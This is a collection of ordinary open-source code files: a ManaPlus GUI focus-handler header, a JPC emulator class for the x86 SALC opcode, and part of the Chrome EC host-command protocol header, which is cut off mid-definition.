* / /_// /\ / /_// / // / // /_/_ / / // / // /\_/ / // / | / / * /______/ //______/ //_/ //_____/\ /_/ //_/ //_/ //_/ //_/ /|_/ / * \______\/ \______\/ \_\/ \_____\/ \_\/ \_\/ \_\/ \_\/ \_\/ \_\/ * * Copyright (c) 2004 - 2008 Olof Naessén and Per Larsson * * * Per Larsson a.k.a finalman * Olof Naessén a.k.a jansem/yakslem * * Visit: http://guichan.sourceforge.net * * License: (BSD) * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name of Guichan nor the names of its contributors may * be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef GUI_FOCUSHANDLER_H #define GUI_FOCUSHANDLER_H #include "utils/vector.h" #include <list> #include "localconsts.h" class Event; class Widget; /** * The focus handler. This focus handler does exactly the same as the Guichan * focus handler, but keeps a stack of modal widgets to be able to handle * multiple modal focus requests. */ class FocusHandler final { public: FocusHandler(); A_DELETE_COPY(FocusHandler) /** * Requests focus for a widget. Focus will only be granted to a widget * if it's focusable and if no other widget has modal focus. * If a widget receives focus a focus event will be sent to the * focus listeners of the widget. * * @param widget The widget to request focus for. * @see isFocused, Widget::requestFocus */ void requestFocus(const Widget *const widget); /** * Requests modal focus for a widget. Focus will only be granted * to a widget if it's focusable and if no other widget has modal * focus. * * @param widget The widget to request modal focus for. * @throws Exception when another widget already has modal focus. * @see releaseModalFocus, Widget::requestModalFocus */ void requestModalFocus(Widget *const widget); /** * Requests modal mouse input focus for a widget. Focus will only * be granted to a widget if it's focusable and if no other widget * has modal mouse input focus. * * Modal mouse input focus means no other widget then the widget with * modal mouse input focus will receive mouse input. The widget with * modal mouse input focus will also receive mouse input no matter what * the mouse input is or where the mouse input occurs. * * @param widget The widget to focus for modal mouse input focus. * @throws Exception when another widget already has modal mouse input * focus. * @see releaseModalMouseInputFocus, Widget::requestModalMouseInputFocus */ void requestModalMouseInputFocus(Widget *const widget); /** * Releases modal focus if the widget has modal focus. * If the widget doesn't have modal focus no relase will occur. * * @param widget The widget to release modal focus for. * @see reuqestModalFocus, Widget::releaseModalFocus */ void releaseModalFocus(Widget *const widget); /** * Releases modal mouse input focus if the widget has modal mouse input * focus. If the widget doesn't have modal mouse input focus no relase * will occur. * * @param widget the widget to release modal mouse input focus for. * @see requestModalMouseInputFocus, Widget::releaseModalMouseInputFocus */ void releaseModalMouseInputFocus(const Widget *const widget); /** * Checks if a widget is focused. * * @param widget The widget to check. * @return True if the widget is focused, false otherwise. * @see Widget::isFocused */ bool isFocused(const Widget *const widget) const; /** * Gets the widget with focus. * * @return The widget with focus. NULL if no widget has focus. */ Widget* getFocused() const A_WARN_UNUSED; /** * Gets the widget with modal focus. * * @return The widget with modal focus. NULL if no widget has * modal focus. */ Widget* getModalFocused() const A_WARN_UNUSED; /** * Gets the widget with modal mouse input focus. * * @return The widget with modal mouse input focus. NULL if * no widget has modal mouse input focus. */ Widget* getModalMouseInputFocused() const A_WARN_UNUSED; /** * Focuses the next widget added to a conainer. * If no widget has focus the first widget gets focus. The order * in which the widgets are focused is determined by the order * they were added to a container. * * @see focusPrevious */ void focusNext(); /** * Focuses the previous widget added to a contaienr. * If no widget has focus the first widget gets focus. The order * in which the widgets are focused is determined by the order * they were added to a container. * * @see focusNext */ void focusPrevious(); /** * Adds a widget to by handles by the focus handler. * * @param widget The widget to add. * @see remove */ void add(Widget *const widget); /** * Removes a widget from the focus handler. * * @param widget The widget to remove. * @see add */ void remove(Widget *const widget); /** * Focuses nothing. A focus event will also be sent to the * focused widget's focus listeners if a widget has focus. */ void focusNone(); /** * Focuses the next widget which allows tabbing in unless * the current focused Widget disallows tabbing out. * * @see tabPrevious */ void tabNext(); /** * Focuses the previous widget which allows tabbing in unless * current focused widget disallows tabbing out. * * @see tabNext */ void tabPrevious(); /** * Gets the widget being dragged. Used by the Gui class to * keep track of the dragged widget. * * @return the widget being dragged. * @see setDraggedWidget */ Widget* getDraggedWidget() const A_WARN_UNUSED; /** * Sets the widget being dragged. Used by the Gui class to * keep track of the dragged widget. * * @param draggedWidget The widget being dragged. * @see getDraggedWidget */ void setDraggedWidget(Widget *const draggedWidget); /** * Gets the last widget with the mouse. Used by the Gui class * to keep track the last widget with the mouse. * * @return The last widget with the mouse. * @see setLastWidgetWithMouse */ Widget* getLastWidgetWithMouse() const A_WARN_UNUSED; /** * Sets the last widget with the mouse. Used by the Gui class * to keep track the last widget with the mouse. * * @param lastWidgetWithMouse The last widget with the mouse. * @see getLastWidgetWithMouse */ void setLastWidgetWithMouse(Widget *const lastWidgetWithMouse); /** * Gets the last widget with modal focus. * * @return The last widget with modal focus. * @see setLastWidgetWithModalFocus */ Widget* getLastWidgetWithModalFocus() const A_WARN_UNUSED; /** * Sets the last widget with modal focus. * * @param widget The last widget with modal focus. * @see getLastWidgetWithModalFocus */ void setLastWidgetWithModalFocus(Widget *const widget); /** * Gets the last widget with modal mouse input focus. * * @return The last widget with modal mouse input focus. * @see setLastWidgetWithModalMouseInputFocus */ Widget* getLastWidgetWithModalMouseInputFocus() const A_WARN_UNUSED; /** * Sets the last widget with modal mouse input focus. * * @param widget The last widget with modal mouse input focus. * @see getLastWidgetWithModalMouseInputFocus */ void setLastWidgetWithModalMouseInputFocus(Widget *const widget); /** * Gets the last widget pressed. Used by the Gui class to keep track * of pressed widgets. * * @return The last widget pressed. * @see setLastWidgetPressed */ Widget* getLastWidgetPressed() const A_WARN_UNUSED; /** * Sets the last widget pressed. Used by the Gui class to keep track * of pressed widgets. * * @param lastWidgetPressed The last widget pressed. * @see getLastWidgetPressed */ void setLastWidgetPressed(Widget *const lastWidgetPressed); private: /** * Checks to see if the widget tabbed to is in a window, and if it is, * it requests the window be moved to the top. */ void checkForWindow() const; /** * Distributes a focus lost event. * * @param focusEvent the event to distribute. */ static void distributeFocusLostEvent(const Event& focusEvent); /** * Distributes a focus gained event. * * @param focusEvent the event to distribute. */ static void distributeFocusGainedEvent(const Event& focusEvent); /** * Typedef. */ typedef STD_VECTOR<Widget*> WidgetVector; /** * Typedef. */ typedef WidgetVector::iterator WidgetIterator; /** * Holds the widgets currently being handled by the * focus handler. */ WidgetVector mWidgets; /** * Holds the focused widget. NULL if no widget has focus. */ Widget* mFocusedWidget; /** * Holds the modal focused widget. NULL if no widget has * modal focused. */ Widget* mModalFocusedWidget; /** * Holds the modal mouse input focused widget. NULL if no widget * is being dragged. */ Widget* mModalMouseInputFocusedWidget; /** * Holds the dragged widget. NULL if no widget is * being dragged. */ Widget* mDraggedWidget; /** * Holds the last widget with the mouse. */ Widget* mLastWidgetWithMouse; /** * Holds the last widget with modal focus. */ Widget* mLastWidgetWithModalFocus; /** * Holds the last widget with modal mouse input focus. */ Widget* mLastWidgetWithModalMouseInputFocus; /** * Holds the last widget pressed. */ Widget* mLastWidgetPressed; /** * Stack of widgets that have requested modal forcus. */ std::list<Widget*> mModalStack; }; #endif // GUI_FOCUSHANDLER_H
mekolat/ManaPlus
src/gui/focushandler.h
C
gpl-2.0
14,054
/* JPC: An x86 PC Hardware Emulator for a pure Java Virtual Machine Copyright (C) 2012-2013 Ian Preston This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Details (including contact information) can be found at: jpc.sourceforge.net or the developer website sourceforge.net/projects/jpc/ End of licence header */ package com.github.smeny.jpc.emulator.execution.opcodes.rm; import com.github.smeny.jpc.emulator.execution.*; import com.github.smeny.jpc.emulator.execution.decoder.*; import com.github.smeny.jpc.emulator.processor.*; import com.github.smeny.jpc.emulator.processor.fpu64.*; import static com.github.smeny.jpc.emulator.processor.Processor.*; public class salc extends Executable { public salc(int blockStart, int eip, int prefices, PeekableInputStream input) { super(blockStart, eip); } public Branch execute(Processor cpu) { cpu.r_al.set8((byte)(cpu.cf() ? -1 : 0)); return Branch.None; } public boolean isBranch() { return false; } public String toString() { return this.getClass().getName(); } }
smeny/JPC
src/main/java/com/github/smeny/jpc/emulator/execution/opcodes/rm/salc.java
Java
gpl-2.0
1,746
/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ /* Host communication command constants for Chrome EC */ #ifndef __CROS_EC_COMMANDS_H #define __CROS_EC_COMMANDS_H /* * Protocol overview * * request: CMD [ P0 P1 P2 ... Pn S ] * response: ERR [ P0 P1 P2 ... Pn S ] * * where the bytes are defined as follow : * - CMD is the command code. (defined by EC_CMD_ constants) * - ERR is the error code. (defined by EC_RES_ constants) * - Px is the optional payload. * it is not sent if the error code is not success. * (defined by ec_params_ and ec_response_ structures) * - S is the checksum which is the sum of all payload bytes. * * On LPC, CMD and ERR are sent/received at EC_LPC_ADDR_KERNEL|USER_CMD * and the payloads are sent/received at EC_LPC_ADDR_KERNEL|USER_PARAM. * On I2C, all bytes are sent serially in the same message. */ /* Current version of this protocol */ #define EC_PROTO_VERSION 0x00000002 /* Command version mask */ #define EC_VER_MASK(version) (1UL << (version)) /* I/O addresses for ACPI commands */ #define EC_LPC_ADDR_ACPI_DATA 0x62 #define EC_LPC_ADDR_ACPI_CMD 0x66 /* I/O addresses for host command */ #define EC_LPC_ADDR_HOST_DATA 0x200 #define EC_LPC_ADDR_HOST_CMD 0x204 /* I/O addresses for host command args and params */ #define EC_LPC_ADDR_HOST_ARGS 0x800 #define EC_LPC_ADDR_HOST_PARAM 0x804 #define EC_HOST_PARAM_SIZE 0x0fc /* Size of param area in bytes */ /* I/O addresses for host command params, old interface */ #define EC_LPC_ADDR_OLD_PARAM 0x880 #define EC_OLD_PARAM_SIZE 0x080 /* Size of param area in bytes */ /* EC command register bit functions */ #define EC_LPC_CMDR_DATA (1 << 0) /* Data ready for host to read */ #define EC_LPC_CMDR_PENDING (1 << 1) /* Write pending to EC */ #define EC_LPC_CMDR_BUSY (1 << 2) /* EC is busy processing a command */ #define EC_LPC_CMDR_CMD (1 << 3) /* Last host write was a command */ #define EC_LPC_CMDR_ACPI_BRST (1 << 4) /* Burst mode (not used) */ #define EC_LPC_CMDR_SCI (1 << 5) /* SCI event is pending */ #define EC_LPC_CMDR_SMI (1 << 6) /* SMI event is pending */ #define EC_LPC_ADDR_MEMMAP 0x900 #define EC_MEMMAP_SIZE 255 /* ACPI IO buffer max is 255 bytes */ #define EC_MEMMAP_TEXT_MAX 8 /* Size of a string in the memory map */ /* The offset address of each type of data in mapped memory. */ #define EC_MEMMAP_TEMP_SENSOR 0x00 /* Temp sensors */ #define EC_MEMMAP_FAN 0x10 /* Fan speeds */ #define EC_MEMMAP_TEMP_SENSOR_B 0x18 /* Temp sensors (second set) */ #define EC_MEMMAP_ID 0x20 /* 'E' 'C' */ #define EC_MEMMAP_ID_VERSION 0x22 /* Version of data in 0x20 - 0x2f */ #define EC_MEMMAP_THERMAL_VERSION 0x23 /* Version of data in 0x00 - 0x1f */ #define EC_MEMMAP_BATTERY_VERSION 0x24 /* Version of data in 0x40 - 0x7f */ #define EC_MEMMAP_SWITCHES_VERSION 0x25 /* Version of data in 0x30 - 0x33 */ #define EC_MEMMAP_EVENTS_VERSION 0x26 /* Version of data in 0x34 - 0x3f */ #define EC_MEMMAP_HOST_CMD_FLAGS 0x27 /* Host command interface flags */ #define EC_MEMMAP_SWITCHES 0x30 #define EC_MEMMAP_HOST_EVENTS 0x34 #define EC_MEMMAP_BATT_VOLT 0x40 /* Battery Present Voltage */ #define EC_MEMMAP_BATT_RATE 0x44 /* Battery Present Rate */ #define EC_MEMMAP_BATT_CAP 0x48 /* Battery Remaining Capacity */ #define EC_MEMMAP_BATT_FLAG 0x4c /* Battery State, defined below */ #define EC_MEMMAP_BATT_DCAP 0x50 /* Battery Design Capacity */ #define EC_MEMMAP_BATT_DVLT 0x54 /* Battery Design Voltage */ #define EC_MEMMAP_BATT_LFCC 0x58 /* Battery Last Full Charge Capacity */ #define EC_MEMMAP_BATT_CCNT 0x5c /* Battery Cycle Count */ #define EC_MEMMAP_BATT_MFGR 0x60 /* Battery Manufacturer String */ #define EC_MEMMAP_BATT_MODEL 0x68 /* Battery Model Number String */ #define EC_MEMMAP_BATT_SERIAL 0x70 /* Battery Serial Number String */ #define EC_MEMMAP_BATT_TYPE 0x78 /* Battery Type String */ /* Number of temp sensors at EC_MEMMAP_TEMP_SENSOR */ #define EC_TEMP_SENSOR_ENTRIES 16 /* * Number of temp sensors at EC_MEMMAP_TEMP_SENSOR_B. * * Valid only if EC_MEMMAP_THERMAL_VERSION returns >= 2. */ #define EC_TEMP_SENSOR_B_ENTRIES 8 #define EC_TEMP_SENSOR_NOT_PRESENT 0xff #define EC_TEMP_SENSOR_ERROR 0xfe #define EC_TEMP_SENSOR_NOT_POWERED 0xfd /* * The offset of temperature value stored in mapped memory. This allows * reporting a temperature range of 200K to 454K = -73C to 181C. */ #define EC_TEMP_SENSOR_OFFSET 200 #define EC_FAN_SPEED_ENTRIES 4 /* Number of fans at EC_MEMMAP_FAN */ #define EC_FAN_SPEED_NOT_PRESENT 0xffff /* Entry not present */ #define EC_FAN_SPEED_STALLED 0xfffe /* Fan stalled */ /* Battery bit flags at EC_MEMMAP_BATT_FLAG. */ #define EC_BATT_FLAG_AC_PRESENT 0x01 #define EC_BATT_FLAG_BATT_PRESENT 0x02 #define EC_BATT_FLAG_DISCHARGING 0x04 #define EC_BATT_FLAG_CHARGING 0x08 #define EC_BATT_FLAG_LEVEL_CRITICAL 0x10 /* Switch flags at EC_MEMMAP_SWITCHES */ #define EC_SWITCH_LID_OPEN 0x01 #define EC_SWITCH_POWER_BUTTON_PRESSED 0x02 #define EC_SWITCH_WRITE_PROTECT_DISABLED 0x04 /* Recovery requested via keyboard */ #define EC_SWITCH_KEYBOARD_RECOVERY 0x08 /* Recovery requested via dedicated signal (from servo board) */ #define EC_SWITCH_DEDICATED_RECOVERY 0x10 /* Was fake developer mode switch; now unused. Remove in next refactor. */ #define EC_SWITCH_IGNORE0 0x20 /* Host command interface flags */ /* Host command interface supports LPC args (LPC interface only) */ #define EC_HOST_CMD_FLAG_LPC_ARGS_SUPPORTED 0x01 /* Wireless switch flags */ #define EC_WIRELESS_SWITCH_WLAN 0x01 #define EC_WIRELESS_SWITCH_BLUETOOTH 0x02 /* * This header file is used in coreboot both in C and ACPI code. The ACPI code * is pre-processed to handle constants but the ASL compiler is unable to * handle actual C code so keep it separate. */ #ifndef __ACPI__ /* * Define __packed if someone hasn't beat us to it. Linux kernel style * checking prefers __packed over __attribute__((packed)). */ #ifndef __packed #define __packed __attribute__((packed)) #endif /* LPC command status byte masks */ /* EC has written a byte in the data register and host hasn't read it yet */ #define EC_LPC_STATUS_TO_HOST 0x01 /* Host has written a command/data byte and the EC hasn't read it yet */ #define EC_LPC_STATUS_FROM_HOST 0x02 /* EC is processing a command */ #define EC_LPC_STATUS_PROCESSING 0x04 /* Last write to EC was a command, not data */ #define EC_LPC_STATUS_LAST_CMD 0x08 /* EC is in burst mode. Unsupported by Chrome EC, so this bit is never set */ #define EC_LPC_STATUS_BURST_MODE 0x10 /* SCI event is pending (requesting SCI query) */ #define EC_LPC_STATUS_SCI_PENDING 0x20 /* SMI event is pending (requesting SMI query) */ #define EC_LPC_STATUS_SMI_PENDING 0x40 /* (reserved) */ #define EC_LPC_STATUS_RESERVED 0x80 /* * EC is busy. This covers both the EC processing a command, and the host has * written a new command but the EC hasn't picked it up yet. */ #define EC_LPC_STATUS_BUSY_MASK \ (EC_LPC_STATUS_FROM_HOST | EC_LPC_STATUS_PROCESSING) /* Host command response codes */ enum ec_status { EC_RES_SUCCESS = 0, EC_RES_INVALID_COMMAND = 1, EC_RES_ERROR = 2, EC_RES_INVALID_PARAM = 3, EC_RES_ACCESS_DENIED = 4, EC_RES_INVALID_RESPONSE = 5, EC_RES_INVALID_VERSION = 6, EC_RES_INVALID_CHECKSUM = 7, }; /* * Host event codes. Note these are 1-based, not 0-based, because ACPI query * EC command uses code 0 to mean "no event pending". We explicitly specify * each value in the enum listing so they won't change if we delete/insert an * item or rearrange the list (it needs to be stable across platforms, not * just within a single compiled instance). */ enum host_event_code { EC_HOST_EVENT_LID_CLOSED = 1, EC_HOST_EVENT_LID_OPEN = 2, EC_HOST_EVENT_POWER_BUTTON = 3, EC_HOST_EVENT_AC_CONNECTED = 4, EC_HOST_EVENT_AC_DISCONNECTED = 5, EC_HOST_EVENT_BATTERY_LOW = 6, EC_HOST_EVENT_BATTERY_CRITICAL = 7, EC_HOST_EVENT_BATTERY = 8, EC_HOST_EVENT_THERMAL_THRESHOLD = 9, EC_HOST_EVENT_THERMAL_OVERLOAD = 10, EC_HOST_EVENT_THERMAL = 11, EC_HOST_EVENT_USB_CHARGER = 12, EC_HOST_EVENT_KEY_PRESSED = 13, /* * EC has finished initializing the host interface. The host can check * for this event following sending a EC_CMD_REBOOT_EC command to * determine when the EC is ready to accept subsequent commands. */ EC_HOST_EVENT_INTERFACE_READY = 14, /* Keyboard recovery combo has been pressed */ EC_HOST_EVENT_KEYBOARD_RECOVERY = 15, /* Shutdown due to thermal overload */ EC_HOST_EVENT_THERMAL_SHUTDOWN = 16, /* Shutdown due to battery level too low */ EC_HOST_EVENT_BATTERY_SHUTDOWN = 17, /* * The high bit of the event mask is not used as a host event code. If * it reads back as set, then the entire event mask should be * considered invalid by the host. This can happen when reading the * raw event status via EC_MEMMAP_HOST_EVENTS but the LPC interface is * not initialized on the EC, or improperly configured on the host. */ EC_HOST_EVENT_INVALID = 32 }; /* Host event mask */ #define EC_HOST_EVENT_MASK(event_code) (1UL << ((event_code) - 1)) /* Arguments at EC_LPC_ADDR_HOST_ARGS */ struct ec_lpc_host_args { uint8_t flags; uint8_t command_version; uint8_t data_size; /* * Checksum; sum of command + flags + command_version + data_size + * all params/response data bytes. */ uint8_t checksum; } __packed; /* Flags for ec_lpc_host_args.flags */ /* * Args are from host. Data area at EC_LPC_ADDR_HOST_PARAM contains command * params. * * If EC gets a command and this flag is not set, this is an old-style command. * Command version is 0 and params from host are at EC_LPC_ADDR_OLD_PARAM with * unknown length. EC must respond with an old-style response (that is, * withouth setting EC_HOST_ARGS_FLAG_TO_HOST). */ #define EC_HOST_ARGS_FLAG_FROM_HOST 0x01 /* * Args are from EC. Data area at EC_LPC_ADDR_HOST_PARAM contains response. * * If EC responds to a command and this flag is not set, this is an old-style * response. Command version is 0 and response data from EC is at * EC_LPC_ADDR_OLD_PARAM with unknown length. */ #define EC_HOST_ARGS_FLAG_TO_HOST 0x02 /* * Notes on commands: * * Each command is an 8-byte command value. Commands which take params or * return response data specify structs for that data. If no struct is * specified, the command does not input or output data, respectively. * Parameter/response length is implicit in the structs. Some underlying * communication protocols (I2C, SPI) may add length or checksum headers, but * those are implementation-dependent and not defined here. */ /*****************************************************************************/ /* General / test commands */ /* * Get protocol version, used to deal with non-backward compatible protocol * changes. */ #define EC_CMD_PROTO_VERSION 0x00 struct ec_response_proto_version { uint32_t version; } __packed; /* * Hello. This is a simple command to test the EC is responsive to * commands. */ #define EC_CMD_HELLO 0x01 struct ec_params_hello { uint32_t in_data; /* Pass anything here */ } __packed; struct ec_response_hello { uint32_t out_data; /* Output will be in_data + 0x01020304 */ } __packed; /* Get version number */ #define EC_CMD_GET_VERSION 0x02 enum ec_current_image { EC_IMAGE_UNKNOWN = 0, EC_IMAGE_RO, EC_IMAGE_RW }; struct ec_response_get_version { /* Null-terminated version strings for RO, RW */ char version_string_ro[32]; char version_string_rw[32]; char reserved[32]; /* Was previously RW-B string */ uint32_t current_image; /* One of ec_current_image */ } __packed; /* Read test */ #define EC_CMD_READ_TEST 0x03 struct ec_params_read_test { uint32_t offset; /* Starting value for read buffer */ uint32_t size; /* Size to read in bytes */ } __packed; struct ec_response_read_test { uint32_t data[32]; } __packed; /* * Get build information * * Response is null-terminated string. */ #define EC_CMD_GET_BUILD_INFO 0x04 /* Get chip info */ #define EC_CMD_GET_CHIP_INFO 0x05 struct ec_response_get_chip_info { /* Null-terminated strings */ char vendor[32]; char name[32]; char revision[32]; /* Mask version */ } __packed; /* Get board HW version */ #define EC_CMD_GET_BOARD_VERSION 0x06 struct ec_response_board_version { uint16_t board_version; /* A monotonously incrementing number. */ } __packed; /* * Read memory-mapped data. * * This is an alternate interface to memory-mapped data for bus protocols * which don't support direct-mapped memory - I2C, SPI, etc. * * Response is params.size bytes of data. */ #define EC_CMD_READ_MEMMAP 0x07 struct ec_params_read_memmap { uint8_t offset; /* Offset in memmap (EC_MEMMAP_*) */ uint8_t size; /* Size to read in bytes */ } __packed; /* Read versions supported for a command */ #define EC_CMD_GET_CMD_VERSIONS 0x08 struct ec_params_get_cmd_versions { uint8_t cmd; /* Command to check */ } __packed; struct ec_response_get_cmd_versions { /* * Mask of supported versions; use EC_VER_MASK() to compare with a * desired version. */ uint32_t version_mask; } __packed; /*****************************************************************************/ /* Flash commands */ /* Get flash info */ #define EC_CMD_FLASH_INFO 0x10 struct ec_response_flash_info { /* Usable flash size, in bytes */ uint32_t flash_size; /* * Write block size. Write offset and size must be a multiple * of this. */ uint32_t write_block_size; /* * Erase block size. Erase offset and size must be a multiple * of this. */ uint32_t erase_block_size; /* * Protection block size. Protection offset and size must be a * multiple of this. */ uint32_t protect_block_size; } __packed; /* * Read flash * * Response is params.size bytes of data. */ #define EC_CMD_FLASH_READ 0x11 struct ec_params_flash_read { uint32_t offset; /* Byte offset to read */ uint32_t size; /* Size to read in bytes */ } __packed; /* Write flash */ #define EC_CMD_FLASH_WRITE 0x12 struct ec_params_flash_write { uint32_t offset; /* Byte offset to write */ uint32_t size; /* Size to write in bytes */ /* * Data to write. Could really use EC_PARAM_SIZE - 8, but tidiest to * use a power of 2 so writes stay aligned. */ uint8_t data[64]; } __packed; /* Erase flash */ #define EC_CMD_FLASH_ERASE 0x13 struct ec_params_flash_erase { uint32_t offset; /* Byte offset to erase */ uint32_t size; /* Size to erase in bytes */ } __packed; /* * Get/set flash protection. * * If mask!=0, sets/clear the requested bits of flags. Depending on the * firmware write protect GPIO, not all flags will take effect immediately; * some flags require a subsequent hard reset to take effect. Check the * returned flags bits to see what actually happened. * * If mask=0, simply returns the current flags state. */ #define EC_CMD_FLASH_PROTECT 0x15 #define EC_VER_FLASH_PROTECT 1 /* Command version 1 */ /* Flags for flash protection */ /* RO flash code protected when the EC boots */ #define EC_FLASH_PROTECT_RO_AT_BOOT (1 << 0) /* * RO flash code protected now. If this bit is set, at-boot status cannot * be changed. */ #define EC_FLASH_PROTECT_RO_NOW (1 << 1) /* RW flash code protected now, until reboot. */ #define EC_FLASH_PROTECT_RW_NOW (1 << 2) /* Flash write protect GPIO is asserted now */ #define EC_FLASH_PROTECT_GPIO_ASSERTED (1 << 3) /* Error - at least one bank of flash is stuck locked, and cannot be unlocked */ #define EC_FLASH_PROTECT_ERROR_STUCK (1 << 4) /* * Error - flash protection is in inconsistent state. At least one bank of * flash which should be protected is not protected. Usually fixed by * re-requesting the desired flags, or by a hard reset if that fails. */ #define EC_FLASH_PROTECT_ERROR_INCONSISTENT (1 << 5) /* RW flash code protected when the EC boots */ #define EC_FLASH_PROTECT_RW_AT_BOOT (1 << 6) struct ec_params_flash_protect { uint32_t mask; /* Bits in flags to apply */ uint32_t flags; /* New flags to apply */ } __packed; struct ec_response_flash_protect { /* Current value of flash protect flags */ uint32_t flags; /* * Flags which are valid on this platform. This allows the caller * to distinguish between flags which aren't set vs. flags which can't * be set on this platform. */ uint32_t valid_flags; /* Flags which can be changed given the current protection state */ uint32_t writable_flags; } __packed; /* * Note: commands 0x14 - 0x19 version 0 were old commands to get/set flash * write protect. These commands may be reused with version > 0. */ /* Get the region offset/size */ #define EC_CMD_FLASH_REGION_INFO 0x16 #define EC_VER_FLASH_REGION_INFO 1 enum ec_flash_region { /* Region which holds read-only EC image */ EC_FLASH_REGION_RO, /* Region which holds rewritable EC image */ EC_FLASH_REGION_RW, /* * Region which should be write-protected in the factory (a superset of * EC_FLASH_REGION_RO) */ EC_FLASH_REGION_WP_RO, }; struct ec_params_flash_region_info { uint32_t region; /* enum ec_flash_region */ } __packed; struct ec_response_flash_region_info { uint32_t offset; uint32_t size; } __packed; /*****************************************************************************/ /* PWM commands */ /* Get fan target RPM */ #define EC_CMD_PWM_GET_FAN_TARGET_RPM 0x20 struct ec_response_pwm_get_fan_rpm { uint32_t rpm; } __packed; /* Set target fan RPM */ #define EC_CMD_PWM_SET_FAN_TARGET_RPM 0x21 struct ec_params_pwm_set_fan_target_rpm { uint32_t rpm; } __packed; /* Get keyboard backlight */ #define EC_CMD_PWM_GET_KEYBOARD_BACKLIGHT 0x22 struct ec_response_pwm_get_keyboard_backlight { uint8_t percent; uint8_t enabled; } __packed; /* Set keyboard backlight */ #define EC_CMD_PWM_SET_KEYBOARD_BACKLIGHT 0x23 struct ec_params_pwm_set_keyboard_backlight { uint8_t percent; } __packed; /* Set target fan PWM duty cycle */ #define EC_CMD_PWM_SET_FAN_DUTY 0x24 struct ec_params_pwm_set_fan_duty { uint32_t percent; } __packed; /*****************************************************************************/ /* * Lightbar commands. This looks worse than it is. Since we only use one LPC * command to say "talk to the lightbar", we put the "and tell it to do X" part * into a subcommand. We'll make separate structs for subcommands with * different input args, so that we know how much to expect. */ #define EC_CMD_LIGHTBAR_CMD 0x28 struct ec_params_lightbar_cmd { union { union { uint8_t cmd; struct { uint8_t cmd; } dump, off, on, init, get_seq; struct num { uint8_t cmd; uint8_t num; } brightness, seq; struct reg { uint8_t cmd; uint8_t ctrl, reg, value; } reg; struct rgb { uint8_t cmd; uint8_t led, red, green, blue; } rgb; } in; union { struct dump { struct { uint8_t reg; uint8_t ic0; uint8_t ic1; } vals[23]; } dump; struct get_seq { uint8_t num; } get_seq; struct { /* no return params */ } off, on, init, brightness, seq, reg, rgb; } out; }; } __packed; /*****************************************************************************/ /* Verified boot commands */ /* * Note: command code 0x29 version 0 was VBOOT_CMD in Link EVT; it may be * reused for other purposes with version > 0. */ /* Verified boot hash command */ #define EC_CMD_VBOOT_HASH 0x2A struct ec_params_vboot_hash { uint8_t cmd; /* enum ec_vboot_hash_cmd */ uint8_t hash_type; /* enum ec_vboot_hash_type */ uint8_t nonce_size; /* Nonce size; may be 0 */ uint8_t reserved0; /* Reserved; set 0 */ uint32_t offset; /* Offset in flash to hash */ uint32_t size; /* Number of bytes to hash */ uint8_t nonce_data[64]; /* Nonce data; ignored if nonce_size=0 */ } __packed; struct ec_response_vboot_hash { uint8_t status; /* enum ec_vboot_hash_status */ uint8_t hash_type; /* enum ec_vboot_hash_type */ uint8_t digest_size; /* Size of hash digest in bytes */ uint8_t reserved0; /* Ignore; will be 0 */ uint32_t offset; /* Offset in flash which was hashed */ uint32_t size; /* Number of bytes hashed */ uint8_t hash_digest[64]; /* Hash digest data */ } __packed; enum ec_vboot_hash_cmd { EC_VBOOT_HASH_GET, /* Get current hash status */ EC_VBOOT_HASH_ABORT, /* Abort calculating current hash */ EC_VBOOT_HASH_START, /* Start computing a new hash */ EC_VBOOT_HASH_RECALC, /* Synchronously compute a new hash */ }; enum ec_vboot_hash_type { EC_VBOOT_HASH_TYPE_SHA256, /* SHA-256 */ }; enum ec_vboot_hash_status { EC_VBOOT_HASH_STATUS_NONE, /* No hash (not started, or aborted) */ EC_VBOOT_HASH_STATUS_DONE, /* Finished computing a hash */ EC_VBOOT_HASH_STATUS_BUSY, /* Busy computing a hash */ }; /*****************************************************************************/ /* USB charging control commands */ /* Set USB port charging mode */ #define EC_CMD_USB_CHARGE_SET_MODE 0x30 struct ec_params_usb_charge_set_mode { uint8_t usb_port_id; uint8_t mode; } __packed; /*****************************************************************************/ /* Persistent storage for host */ /* Maximum bytes that can be read/written in a single command */ #define EC_PSTORE_SIZE_MAX 64 /* Get persistent storage info */ #define EC_CMD_PSTORE_INFO 0x40 struct ec_response_pstore_info { /* Persistent storage size, in bytes */ uint32_t pstore_size; /* Access size; read/write offset and size must be a multiple of this */ uint32_t access_size; } __packed; /* * Read persistent storage * * Response is params.size bytes of data. */ #define EC_CMD_PSTORE_READ 0x41 struct ec_params_pstore_read { uint32_t offset; /* Byte offset to read */ uint32_t size; /* Size to read in bytes */ } __packed; /* Write persistent storage */ #define 